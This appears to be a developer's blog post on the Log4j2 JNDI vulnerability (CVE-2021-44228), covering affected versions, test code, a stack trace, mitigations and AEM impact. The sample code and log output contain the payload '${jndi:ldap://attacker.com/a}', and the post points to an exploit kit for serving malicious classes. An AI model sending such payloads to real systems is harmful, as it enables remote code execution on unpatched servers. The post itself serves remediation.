A recently(09-Dec-2021) discovered a vulnerability in Log4j 2 is reportedly being exploited in the wild, putting widely used applications and cloud services at risk. Log4j2 is an open-source Java logging framework managed by Apache Software Foundation.
CVE-2021-44228: Apache Log4j2 JNDI features do not protect against attacker-controlled LDAP and other JNDI-related endpoints.
The vulnerability CVE-2021-44228 allows remote code execution against LDAP and other JNDI-related endpoints - ${jndi:protocol://server}, e.g. ${jndi:ldap://attacker.com/a}. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
While logging a message with the JNDI endpoint, the JNDI feature of the Log4j2 module tries to establish the connection to the JNDI URL specified in the log message, through this the attacker can make the system connect to the remote system and inject malicious code for execution(if the request/header from the end-user is directly logged through log4j2 logger).Refer to https://logging.apache.org/log4j/2.x/security.html for more details on the issue.
All versions from all from 2.0-beta9 to 2.14.1 are impacted.
The issue is now addressed in version 2.15.0 - the JNDI feature is disabled by default, upgrade the dependency version to 2.15.0 for addressing the issue in your project. Also, Apache documented quick steps to mitigate the issue immediately without updating the dependency version on the above URL.
The project using any of the two approaches will be impacted - If the below versions are enabled then the below code displays JNDI lookup exception
Option1: SLF4J Bridge for Log4j2
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.1</version>
</dependency>
Option2: Log4j2 direct dependencies
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
Sample Code - Log4j2 direct dependencies
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Sample{
private static final Logger log = LogManager.getLogger(Sample.class);
public static void main(String[] args) {
String header ="${jndi:ldap://attacker.com/a}";
log.info("test");
log.info("test: "+log.getClass()+header);
}
}
Sample Code - SLF4J Wrapper
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class Sample{
private static final Logger log = LoggerFactory.getLogger(Sample.class);
public static void main(String[] args) {
String header ="${jndi:ldap://attacker.com/a}";
log.info("test");
log.info(header);
}
}
Error Message: The below error message will be displayed while logging a message with JNDI endpoint, the JNDI feature trying to establish the connection to the JNDI URL specified in the log message, through this the attacker can make the system to connect to the remote system and inject malicious code for execution(if the request/header from the end user is directly logged through log4j logger).The LDAP systems enables the support to store the java class files, the attacker can store a malicious java file into his LDAP system and send the URL through request parameters or headers that will be logged directly through log4j2 impacted versions will give the system control to the attacker.(the attacker can use proxy LDAP server to send remote class with malicious code, refer to https://github.com/pimps/JNDI-Exploit-Kit for more details)
2021-12-12 00:38:38,267 main WARN Error looking up JNDI resource [ldap://attacker.com/a]. javax.naming.CommunicationException: attacker.com:389 [Root exception is java.net.ConnectException: Connection refused: connect]
at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:244)
at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)
at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2847)
at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)
at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:223)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)
at com.core.oauth.provider.azureadb2c.Sample.main(Sample.java:17)
Caused by: java.net.ConnectException: Connection refused: connect
at java.base/java.net.PlainSocketImpl.connect0(Native Method)
at java.base/java.net.PlainSocketImpl.socketConnect(PlainSocketImpl.java:101)
at java.base/java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:399)
at java.base/java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:242)
at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:224)
at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:403)
at java.base/java.net.Socket.connect(Socket.java:608)
at java.base/java.net.Socket.connect(Socket.java:557)
at java.base/java.net.Socket.<init>(Socket.java:453)
at java.base/java.net.Socket.<init>(Socket.java:230)
at java.naming/com.sun.jndi.ldap.Connection.createSocket(Connection.java:337)
at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:223)
... 42 more
In the real scenario, remote class from the attacker server will be executed that will provide system control to the attacker.
The issue can be addressed in multiple ways but the best-recommended approach is by changing the dependency version to the latest 2.15.0
- WAF (Web Application Filter)— Block the malicious request by enabling required rules
- Disable Log4j2 and use different logger implementation — this should be easy if the SLF4J library is used, refer to https://www.albinsblog.com/2021/12/how-to-identify-which-logging-library-slf4j-using-for-logging.html for more details
- Disable JNDI Lookups — add -Dlog4j2.formatMsgNoLookups=true to JVM parameter
- (java -Dlog4j2.formatMsgNoLookups=true …) or Set Environment Variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- , refer to https://logging.apache.org/log4j/2.x/security.html for more details
- Remove the JndiLookup class from the class path — refer to https://logging.apache.org/log4j/2.x/security.html for more details
- In JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1, com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP, this will block the LDAP remote code execution vector. Ensure com.sun.jndi.ldap.object.trustURLCodebase java system property is not set to true.
- Java Serialization Filtering — Whitelist only the known classes for deserialization, refer to https://medium.com/tech-learnings/serialization-filtering-deserialization-vulnerability-protection-in-java-349c37f6f416 for more details
In long run, we should validate/sanitize the user inputs(request parameters/headers, etc.) before performing any activities e.g. logging on the user inputs, this will help us to prevent malicious code injection.
Update Log4j2 to latest library version(2.15.0)
Option1: SLF4J Bridge for Log4j2
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.15.0</version>
</dependency>
Option2: Log4j2 direct dependencies
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.1</version>
</dependency>
The actual message is displayed after upgrading the dependency versions - no JNDI lookup performed on the JND endpoint
[INFO ] 2021-12-12 01:07:09.227 [main] Sample - test
[INFO ] 2021-12-12 01:07:09.230 [main] Sample - ${jndi:ldap://attacker.com/a}
The impact of the issue is based on how the project manages the log messages for the request parameters/headers received from the end-users - the impact is less if the message is filtered in any of the layers.
[Update 1]:
The New log4j2 version is released(2.16.0) now, the fix applied on 2.15.0 was not complete to address all the issue scenarios, upgrade to the latest version(2.16.0) to address the issue completely. Refer https://logging.apache.org/log4j/2.x/security.html for more details(CVE-2021–45046)
[Update 2]:
The New log4j2 version is released(2.17.0) now, the fix applied on 2.16.0 was not complete and open for DOS(Denial of Service) attack. Refer https://logging.apache.org/log4j/2.x/security.html for more details(CVE-2021–45105]:
Impact on Adobe Experience Manager(AEM)
Based on the analysis AEM OOTB includes log4j v1.2.17 and as CVE-2021-44228 impacting Apache Log4j 2( versions 2.0 to 2.14.1) looks to be no immediate impact, this is my personal view but need to wait for the confirmation from Adobe(please check with Adobe for any impact on AEM with this issue). But you should address if any of your custom projects on AEM embed the impacted maven dependency versions.
[Update]
Based on the further update from Adobe, the AEM core product is not impacted by the log4j2 JNDI lookup security issue but the custom code should be reviewed to ensure the impacted log4j2 version is not embedded.